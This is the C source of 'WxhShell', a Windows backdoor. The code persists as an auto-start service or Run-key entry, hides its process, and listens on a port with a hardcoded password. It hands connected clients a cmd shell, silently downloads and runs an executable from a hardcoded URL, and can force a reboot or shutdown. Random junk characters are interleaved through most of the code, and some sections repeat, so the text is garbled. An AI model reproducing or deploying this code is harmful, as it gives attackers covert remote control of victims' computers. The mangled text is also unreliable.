. Xh.+pJl,* HANDLE hProcess; {fog<1c PROCESS_BASIC_INFORMATION pbi; U/T4i# xT9Yes& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H-eEhI(;O if(NULL == hInst ) return 0; u.Mqj"o\ c%|vUAq* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cI*KRCU g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )Vwj9WD NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UI!6aVL. _ Ry_K3K if (!NtQueryInformationProcess) return 0; %&^Q(f R<f#r0 3@| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1&"-*) if(!hProcess) return 0; %ZujCZn _9D|u<D if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #|qm!aGs z^4KU\/JK CloseHandle(hProcess); ET U-]R 3 No:^hY:F8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >|wKXz if(hProcess==NULL) return 0; - #3{{ y L*LJ HMODULE hMod; \r)%R5_CQ char procName[255]; {IJ-4> unsigned long cbNeeded; C&=x3Cz BjM+0[HC if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }o-|8P:Y xT W3UY CloseHandle(hProcess); N<9w{zIK( "Dyym<J if(strstr(procName,"services")) return 1; // 以服务启动 @ru<4`h Tdg6kkJ return 0; // 注册表启动 jvu
N } xN6>2e :~yzDk\I"- // 主模块 CE)*qFs int StartWxhshell(LPSTR lpCmdLine) "37*A<+f { +H7y/#e+3 SOCKET wsl; /:U1!9.y BOOL val=TRUE; AlO,o[0 int port=0; 3 h#s([uL struct sockaddr_in door; )AOPiC$jL P3G:th@j= if(wscfg.ws_autoins) Install(); aSUsyOe l1&5uwuF port=atoi(lpCmdLine); 4<u;a46Z#M DlDB=N0@S if(port<=0) port=wscfg.ws_port; l{8CISO* SaCx)8ul0 WSADATA data; 'f 3HKn<L if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \I;cZ>{u"} h-7A9: if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 't7Z] G setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qk&gA}qF door.sin_family = AF_INET; sH%&+4!3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); cST\~SUm door.sin_port = htons(port); >;,gGH ei@3,{~5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D}MoNE[r closesocket(wsl); `aIG;@Z return 1; /J;;|X#P } {B3(HiC H"_v+N5= if(listen(wsl,2) == INVALID_SOCKET) { KGu= ; closesocket(wsl); `qE4U4 return 1; J;~E<_"Hn } N r<9u$d9= Wxhshell(wsl); TFO74^ WSACleanup(); mmHJh\2v V~85oUc\- return 0; GA\2i0ow Rb#/qkk/ } pw=F' Y@N
hcyn
// 以NT服务方式启动 }wfI4?}j} VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^p,3)$ { 2 l(Dee Y DWORD status = 0; n'yl)HA~>` DWORD specificError = 0xfffffff; #7o0dE;Kg9 *<r%aeG$em serviceStatus.dwServiceType = SERVICE_WIN32; |CwG3&8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; N+NK` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BhLZ7 * serviceStatus.dwWin32ExitCode = 0; ^#;RLSv
serviceStatus.dwServiceSpecificExitCode = 0;
//<:k8 serviceStatus.dwCheckPoint = 0; %*jGim~s serviceStatus.dwWaitHint = 0; :W~f;k eES'}[W> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); as(*B-_n~ if (hServiceStatusHandle==0) return; ugI#ZFjJWE UT4f (Xo status = GetLastError(); \n_3Bwd~ if (status!=NO_ERROR) #&V5H{ { [t{](- serviceStatus.dwCurrentState = SERVICE_STOPPED; .a:Z!KF serviceStatus.dwCheckPoint = 0; VD/&%O8n serviceStatus.dwWaitHint = 0; Lyr2(^#: serviceStatus.dwWin32ExitCode = status; G?<pBMy serviceStatus.dwServiceSpecificExitCode = specificError; i
j/o;_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Aq"PG}Ic return; yX'IZk#_L } KaW~ERx5 Rboof`pVt serviceStatus.dwCurrentState = SERVICE_RUNNING; $T),DUYO serviceStatus.dwCheckPoint = 0; p.C1 nh serviceStatus.dwWaitHint = 0; cz#_<8'N if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4[1k\ } '00J~j~ #/+I*B*y // 处理NT服务事件,比如:启动、停止 y@3kU*-1 VOID WINAPI NTServiceHandler(DWORD fdwControl) akC>s8tqlA { )Oiev u_"| switch(fdwControl) b+Vi3V { @h#Xix7 case SERVICE_CONTROL_STOP: i=L8=8B` serviceStatus.dwWin32ExitCode = 0; 1"O&40l serviceStatus.dwCurrentState = SERVICE_STOPPED; b
=b: serviceStatus.dwCheckPoint = 0; VhvTBo<cw serviceStatus.dwWaitHint = 0; @8zT'/$ { dF
e4K" SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]RD5Ex!K? } GJ `UO return; 1i'Zei) case SERVICE_CONTROL_PAUSE: JpK[&/Ct serviceStatus.dwCurrentState = SERVICE_PAUSED; > rw"Rd' break; nLJBq)i case SERVICE_CONTROL_CONTINUE: ~C|,b" serviceStatus.dwCurrentState = SERVICE_RUNNING; E0YU[([G break; eu9w|g case SERVICE_CONTROL_INTERROGATE: X`1p'JD break; TEWAZVE* }; M"(6&M=? SetServiceStatus(hServiceStatusHandle, &serviceStatus); sJ~P:g } uNbIX:L, {y6C0A* // 标准应用程序主函数 5
`=KyHi:b int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t77'fm { Ea]T>4 v459},!P // 获取操作系统版本 Q]#Z9 H OsIsNt=GetOsVer(); 76u{!\Jo/{ GetModuleFileName(NULL,ExeFile,MAX_PATH); X$V|+lTk -k{Jp/-D // 从命令行安装 L\L"mc|O if(strpbrk(lpCmdLine,"iI")) Install(); J`<f +"uwV1)b" // 下载执行文件 <d"Gg/@a if(wscfg.ws_downexe) { f`|G]da-3o if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fY_%33_I$ WinExec(wscfg.ws_filenam,SW_HIDE); TwFb%YM } Z`s!dV]e9 c~+l-GIWm if(!OsIsNt) { "w&/m}E,[ // 如果时win9x,隐藏进程并且设置为注册表启动 O]{*(J/t HideProc(); _|<BF StartWxhshell(lpCmdLine); $<OhGk- } ug#<LO-.Rd else 2-mQt_
i if(StartFromService()) /^2CGcT( // 以服务方式启动 E[?kGR[ StartServiceCtrlDispatcher(DispatchTable); _{Y$o'*#I else gS$A // 普通方式启动 4AHL3@x StartWxhshell(lpCmdLine); e4[) WNR dy:d=Z return 0; ^ ulps**e } K-(;D4/sQE d>!p=O`>{q {/ &B!zvl 5v9uHxy =========================================== S}7>RHe RmO yGSO 4seciz0? f#P_xn&et x?L hq2 O2 v. " 5pJ*1pfeo L~eAQR #include <stdio.h> bUs|t #include <string.h> GwQn;gkF #include <windows.h> $]*d#`Sy{% #include <winsock2.h> ~/|zlu*jpc #include <winsvc.h> _tj&Psp #include <urlmon.h> nwf7M#3d [5Y<7DS #pragma comment (lib, "Ws2_32.lib") ~NNv>5t5 #pragma comment (lib, "urlmon.lib") (WE,dY+. }-p,iTm #define MAX_USER 100 // 最大客户端连接数
zu<3^=3 #define BUF_SOCK 200 // sock buffer $Ha%Gr #define KEY_BUFF 255 // 输入 buffer |Q!4GeQL[ p)/
p!d[T/ #define REBOOT 0 // 重启 ' qy#)F #define SHUTDOWN 1 // 关机 7lU.Nit ow.j+<M #define DEF_PORT 5000 // 监听端口 oT3Y!Y3=< 2OalAY6RS #define REG_LEN 16 // 注册表键长度 J#7y<
s #define SVC_LEN 80 // NT服务名长度 @!\K>G >9[ -0 0}if7 // 从dll定义API !kXeO6X@m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G9RP^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F_ljx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (M`|'o! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ro r2qDF HarFE4V // wxhshell配置信息 R0<< f] struct WSCFG { U:|H9+5 int ws_port; // 监听端口 J&6:d char ws_passstr[REG_LEN]; // 口令 Gzm$OHbn int ws_autoins; // 安装标记, 1=yes 0=no s;{K!L@ char ws_regname[REG_LEN]; // 注册表键名 ez*jjm char ws_svcname[REG_LEN]; // 服务名 iP "EA8 char ws_svcdisp[SVC_LEN]; // 服务显示名 =nVmthGw char ws_svcdesc[SVC_LEN]; // 服务描述信息 6vp0*ww char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H?U't
09 int ws_downexe; // 下载执行标记, 1=yes 0=no B*@6xS[IL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jps .;yjk char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0YS?=oi QIV%6q+*R }; h^M^7S %^.P~s6 // default Wxhshell configuration )}-$A-p# struct WSCFG wscfg={DEF_PORT, Q%5F ]`VN "xuhuanlingzhe", k^%_V|&W/( 1, j>'B[ "Wxhshell", ZnXejpj)D "Wxhshell", ($WE=biZ& "WxhShell Service", qY# d+F,t "Wrsky Windows CmdShell Service", nb+m.X "Please Input Your Password: ", <k]qH-v4 1, 8(xw?|D7 "http://www.wrsky.com/wxhshell.exe", i2`0|8mw' "Wxhshell.exe" N5 n> }; L2|aHI1'l 0*7*RX // 消息定义模块 8A{6j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7X'y>\^w^> char *msg_ws_prompt="\n\r? for help\n\r#>"; ;NsO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vWY(% Q, char *msg_ws_ext="\n\rExit."; r4eUZ .8R char *msg_ws_end="\n\rQuit."; *gu8-7' char *msg_ws_boot="\n\rReboot..."; RJc%,
]: char *msg_ws_poff="\n\rShutdown..."; i'tp1CI char *msg_ws_down="\n\rSave to "; SRz&Nb TzM=LvA char *msg_ws_err="\n\rErr!"; xm H-!Da char *msg_ws_ok="\n\rOK!"; #":a6%0Q 7g6RiH} char ExeFile[MAX_PATH]; 59!)j>f int nUser = 0; fLB1)kTS HANDLE handles[MAX_USER]; 77We;a int OsIsNt; .3wY\W8Dr- o3h -=t SERVICE_STATUS serviceStatus; kx{!b3" SERVICE_STATUS_HANDLE hServiceStatusHandle; q)iTn)Z! X?dfcS*!n // 函数声明 ' G#SLqZy int Install(void); R^8B3-aA`
int Uninstall(void); ^
KH>1!
int DownloadFile(char *sURL, SOCKET wsh); DQgH_! int Boot(int flag); h<3p8eB void HideProc(void); P s#>y& int GetOsVer(void); ]T^is> int Wxhshell(SOCKET wsl); Y60"M4j void TalkWithClient(void *cs); . U/k<v<)6 int CmdShell(SOCKET sock); G5c7:iGm/c int StartFromService(void); ~_ P YNY`" int StartWxhshell(LPSTR lpCmdLine); QIA R x9V {R9_gf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5py R~+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lq04T0 #T%zfcUj // 数据结构和表定义 _413\`%8? SERVICE_TABLE_ENTRY DispatchTable[] = e@jfIF0=} { _D-Riu>#J {wscfg.ws_svcname, NTServiceMain}, m6U8)!)T {NULL, NULL} 5"=:#zN }; E`xU m9F r_2btpL^ // 自我安装 MUcNC\`z int Install(void) 7rIlTrG { nW5K[/1D char svExeFile[MAX_PATH]; ]Oso#GYD HKEY key; B8~=RmWLl strcpy(svExeFile,ExeFile); (@Zcx9 _01Px a2. // 如果是win9x系统,修改注册表设为自启动 A3s57.Z]| if(!OsIsNt) { /77z\[CeYH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Fv?6qw+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2k+16/T RegCloseKey(key); -e*BqH2t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v2J0u:#, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q!$IQJ]|Y RegCloseKey(key); ;[Tyt[
return 0; \ X$)vK } -P#nT 2 } j>!sN`dBj } Kbas-</Si else { "DjU:*' =Ahw%`/&}] // 如果是NT以上系统,安装为系统服务 K^H>~`C= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Hcbkep9D if (schSCManager!=0) 2
sSwDF { c{>|o SC_HANDLE schService = CreateService e&3#2_ ( O5;-Om schSCManager, ;0j*>fb\q7 wscfg.ws_svcname, u^=@DO' wscfg.ws_svcdisp, K-4tdC3 SERVICE_ALL_ACCESS, 0QoLS|voA/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5Y-2
# SERVICE_AUTO_START, PU+1=%'V SERVICE_ERROR_NORMAL, %F5 =n" svExeFile, ,so4Lb(vG NULL, !}q."%%J_% NULL, =pp:j`B9( NULL, Z#7U
"G-A NULL, F^rl$#pCS NULL BKA]G)G7u! ); kfCKhx if (schService!=0) EUZq$@uWL { bp%S62Dj CloseServiceHandle(schService); J @B4
R&V CloseServiceHandle(schSCManager); -S$$/sR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,}<RrUfD strcat(svExeFile,wscfg.ws_svcname); 76cEKHa< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -+P7:4/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .)`-Hkxa RegCloseKey(key); F< |c4 return 0; *?N<S$m } a#QByP } }+DDJ6Jzs CloseServiceHandle(schSCManager); C1 {ZW~"YI } xid:" y=_& } T} 8CfG_j <gcmsiB| return 1; o)!m$Q~v } #=x+
[d+ & rQD `E/ // 自我卸载 |EeBSRAfe int Uninstall(void) wlVvxX3% { BWEv1' v HKEY key; sVoR?peQ :;TYL[ if(!OsIsNt) { (nz}J)T& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :c<*%*e RegDeleteValue(key,wscfg.ws_regname); SG`)PW? RegCloseKey(key); #eLN1q&Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OPiaG!3< RegDeleteValue(key,wscfg.ws_regname); M.[wKGX( RegCloseKey(key); K;C_Z/<% return 0; VN+\>j- } (H-cDsh;c } {]["6V6W } *(nJX.7 else { 5H!%0LrJg= WRM$DA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \n(ROf^' if (schSCManager!=0) wA",SBGX { y.ql#eQ, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .C?GW1[c~@ if (schService!=0) >)y$mc6 { 0BFz7 if(DeleteService(schService)!=0) { !tr9(d CloseServiceHandle(schService); Y?t2,cm CloseServiceHandle(schSCManager);
`EVg'?pl return 0; H9E(\)@ } R8uj3!3^ CloseServiceHandle(schService); `WlH*p)z9 } *|poxT G CloseServiceHandle(schSCManager); InN{^uN } ;q&0,B } /f]/8b g> K @C4*?P return 1; hiIyaWU } , `"K +,wWhhvlzv // 从指定url下载文件 B~rU1Y) int DownloadFile(char *sURL, SOCKET wsh) raF]
k0{ { @Wz%KdXA HRESULT hr; jYk5~<\k char seps[]= "/"; dq2@6xd char *token; Z>h{`
X\2 char *file; yDuq6`R* char myURL[MAX_PATH]; %yKKUZ~ char myFILE[MAX_PATH]; UEN56@eCNf j%u8= strcpy(myURL,sURL); E@mkm token=strtok(myURL,seps); HT-PWk>2 while(token!=NULL) 8? F
2jv { _eh3qs: file=token; 6Wb!J>93 token=strtok(NULL,seps); _[%n ~6 } nUqL\(UuY ]Y =S GetCurrentDirectory(MAX_PATH,myFILE); <b'1#Pd>0 strcat(myFILE, "\\"); S2bexbp0o strcat(myFILE, file); D@*|2 4y send(wsh,myFILE,strlen(myFILE),0); [tz
u;/ send(wsh,"...",3,0); u]SZ{[e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EO"6Dq( if(hr==S_OK) FNlx1U[ return 0; yeNvQG else qZP:@r" return 1; _1\poAy ?f f
[$ab } -`g J 2;h+;G // 系统电源模块 MU*It"@}2 int Boot(int flag) cPSti { pSXEJ 2k HANDLE hToken; ?F25D2[( TOKEN_PRIVILEGES tkp; V4Qz*z% DEcGFRgN~ if(OsIsNt) { ILNXaJ'0a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IG&B2* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U(!?d ]en tkp.PrivilegeCount = 1; _C5n Apb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e]Puv)S>{8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x?gQ\0S< if(flag==REBOOT) { q6Rw4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d&?F#$> 7| return 0; \D ^7Z97 } eq{
[?/ else { )u-ns5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gg}t-_M return 0; c{ 7<H } sN=KR qe } 1S&0 else { 3+j^E6@ if(flag==REBOOT) { zv,\@Z9.($ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $8=(I2&TW return 0; n}f3Vrl } l-XnB else { wzg i
@i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $.;iu2iyo return 0; *0lt$F$~b } YT][\x } r<v_CFJ &D)Hz return 1; x~%\y } 3eJ\aVI>pE fG3wc
l~ // win9x进程隐藏模块 /8:gVXZi void HideProc(void) 7WXiG0 { =#jTo|~u4o s* @QT8% HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aE}=^%D if ( hKernel != NULL ) v [dAywW { Z`|> tbOfZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r.?qEe8VV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W%=Zdm
rv FreeLibrary(hKernel); Oxpo6G } `Y0fst<, y)0gJP
L^ return; g^qz&;R] } g~eJ
YS, x, }ez // 获取操作系统版本 F_K int GetOsVer(void) PKl]GegP { JATS6-Lz` OSVERSIONINFO winfo; fi5YMYd1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m9 ^m GetVersionEx(&winfo); 2-QuT"Gkd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |C^
c0 return 1; u}^a^B$ else N|bPhssFw return 0; K<D`(voL } 6Wf*>G*h !Jk(&. // 客户端句柄模块 /j`i/Ha1 int Wxhshell(SOCKET wsl) y?[5jL|Ue { 6s> sj7 SOCKET wsh; |~7+/VvI+ struct sockaddr_in client; Uf=vs( DWORD myID; #8P#^v]H y>DfM5> while(nUser<MAX_USER) 'm { + 8MW$ m$ int nSize=sizeof(client); 3WQRN_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xgZV0!% if(wsh==INVALID_SOCKET) return 1; Ry3+/] r)) $XM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AGw1Pl8]K if(handles[nUser]==0) AsTMY02| closesocket(wsh); !l sy&6 else md1EJ1\14 nUser++;
2tm~QL } `V?x
xq\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XLkL#&Ir _lP4ez
Y return 0; K0d-MC } s:-8 Z\, <B|n<R<? // 关闭 socket Z!q2F%02FO void CloseIt(SOCKET wsh) AAIyr703cQ { ]>]#zu$=c closesocket(wsh); @2x0V]AI nUser--; =NVZ$K OZ ExitThread(0); fvAh?<Ul } [lDt0l5^ }qgqb // 客户端请求句柄 L8,H9T#e void TalkWithClient(void *cs) U08<V:~ { 9}K(Q= xiOv$.@q SOCKET wsh=(SOCKET)cs; |G`4"``]k char pwd[SVC_LEN]; ]be0I) char cmd[KEY_BUFF]; gJ)h9e*m^ char chr[1]; 'sT}DX(7M int i,j; MEdIw#P.}{ >Hd~Ca> while (nUser < MAX_USER) { |r)>bY7 N"q+UCRC if(wscfg.ws_passstr) { UUdu;3E=5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $sd3h\P&R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zi[{\7a //ZeroMemory(pwd,KEY_BUFF); wiK@o$S- i=0; SK2J`* while(i<SVC_LEN) { F^ %{
; w@gl // 设置超时 `? 9]' fd_set FdRead; Z9;nC zHm struct timeval TimeOut; qd#(`%_/ FD_ZERO(&FdRead); ]yj4~_&O FD_SET(wsh,&FdRead);
s+y'<88 TimeOut.tv_sec=8; (Fbm9(q$d TimeOut.tv_usec=0; } K+Q9<~u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hJ$C%1; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {kRDegby Skr\a\
J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MA/"UV&M( pwd=chr[0]; VOowA^ if(chr[0]==0xd || chr[0]==0xa) { !}Woo$#ND pwd=0; rw=UK` break; 110>p } ~u~[E i++; s= GOB"G } V1CSXY\2 M<M#<kD // 如果是非法用户,关闭 socket A
.jp<> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \gJapx( } Hb@G*L$ 4$q)e<- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _x,-d|9bd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }]n>A lD;,I^Lt6 while(1) { x|,aV=$o `ykMh>*{ ZeroMemory(cmd,KEY_BUFF); C-:SQf N18diP[C // 自动支持客户端 telnet标准 Nw3I j=0; +,{Wcb while(j<KEY_BUFF) { ()3x%3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yuy+}]uB@ cmd[j]=chr[0]; \KnD"0KW if(chr[0]==0xa || chr[0]==0xd) { %Zv(gI`A cmd[j]=0; 'WM~
bm+N break; Z@c0(ol } {g:/BFLr# j++; K,L> } !e#I4,f n mKf>6/s{c // 下载文件 jV|$?
Rcl% if(strstr(cmd,"http://")) { LBbo.KxAe3 send(wsh,msg_ws_down,strlen(msg_ws_down),0); JQbMw>Y if(DownloadFile(cmd,wsh)) ]` &[Se d send(wsh,msg_ws_err,strlen(msg_ws_err),0); D"(3VIglq else TW-zh~|F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1$3XKw' } r3BDq else { ~D`oP/6 VT.{[Kl switch(cmd[0]) { 8H%I|fm g_Dt} !A\B // 帮助 thZ@BrO# case '?': { 13_+$DhU-L send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ttAVB{kdo break; l~Wk07r3 } GHgEbiY: // 安装 Y9co?!J 5M case 'i': { Y=WN4w if(Install()) Cf1wM:K|8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); SFk11 else `9Q,=D+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Zz= 4
j break; 8a$jO+UvN } {GH`V}Ob // 卸载 x}8T[ case 'r': { sKG~<8M} if(Uninstall()) i37a}.; send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]stLC; nI else g`5`KU| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uc4L|: break; GZhfA ;O, } d;jJe0pH // 显示 wxhshell 所在路径 zhvk%Y: case 'p': { <{z3p:\ char svExeFile[MAX_PATH]; Lugk`NUvF strcpy(svExeFile,"\n\r"); Eztz~oFo strcat(svExeFile,ExeFile); E_gDwWot send(wsh,svExeFile,strlen(svExeFile),0); LN3dp?;_{ break; divZJc } #u2&8-Gh // 重启 z:Zn.e*$b case 'b': { * /Ry6Yu send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
3NxaOO` if(Boot(REBOOT)) 'B<qG<> send(wsh,msg_ws_err,strlen(msg_ws_err),0); #+ lq7HJ1 else { 8|-mzb& closesocket(wsh); 8,H5G` ExitThread(0); W!4V:(T } /HJ(Wt
q break; V8U`%/`N } &_^*rD~ // 关机 xdBZ^Q case 'd': { <iprPk send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~G^}2#5 if(Boot(SHUTDOWN)) (7jB_ p% send(wsh,msg_ws_err,strlen(msg_ws_err),0); qpwh #^2 else { JQh s=Xg closesocket(wsh); rs<&x(=Hv ExitThread(0); 'St= izhd } w3bH|VnU8; break; jUR# } v7OV;ea$ // 获取shell M^JZ]W( case 's': { K,,@', CmdShell(wsh); Q|H cg| closesocket(wsh); @)'@LF1Z ExitThread(0); MbF e1U]B break; g*c\'~f; } 0V,MDX}#_ // 退出 8\.1m9&r>o case 'x': { XM@i|AK
M0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R6$F<;nw CloseIt(wsh); JTB~nd> break; .&} 4 } 8*PAgPj a // 离开 yz$1qEII`q case 'q': { <J}9.k send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?_j6})2zY closesocket(wsh); SF7b1jr WSACleanup(); n_&)VF#n( exit(1); }=m?gF%3 break; K/d&c] } fX$4TPy(h } I_I;.Ik } f=O>\ F20-!b // 提示信息 AG\852`1m if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `"": } <\>ak7m } SWO!E
'L59\y8H return; L\b_,'I } (0m$W< iwjl--)@K // shell模块句柄 $<%
nt int CmdShell(SOCKET sock) NWwtq&pz2 { [#6Esy8| STARTUPINFO si; (IHBib " ZeroMemory(&si,sizeof(si)); \bA'Furp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *"sDaN0@R si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,vw`YKg PROCESS_INFORMATION ProcessInfo; tUF]f6 char cmdline[]="cmd"; Zw
8b
-_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bK%tQeT return 0; KBHKcFk } /r@ 5nqdY* // 自身启动模式 PlRs-% d int StartFromService(void) Sz@?%PnU| { 2#M:JgWV typedef struct }gRLW2&mR> { afq
+;Sh DWORD ExitStatus; n(Op< DWORD PebBaseAddress; 7:E#c"S
q DWORD AffinityMask; 6Q.whV%y DWORD BasePriority; >,vW ULONG UniqueProcessId; ?'m5)Z{ ULONG InheritedFromUniqueProcessId; GJfNO- } PROCESS_BASIC_INFORMATION; 'c(Y")QP ~cj:AIF PROCNTQSIP NtQueryInformationProcess; FGhrf 0M2+?aKif static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :?6$}GcW static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v+o3r]Y6 bJ!f,a'/ HANDLE hProcess; {:OVBX PROCESS_BASIC_INFORMATION pbi; [7w_.(f# &YP>"< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k\Tm?^L) if(NULL == hInst ) return 0; [z@RgDXv .h^Ld,Chj g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I19F\
L`4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2czL 1Ci NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); abP?Dj& N ] /d if (!NtQueryInformationProcess) return 0; 3"D00~ >8t[EsW/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &`2*6
)qa if(!hProcess) return 0; [;8fL Xb
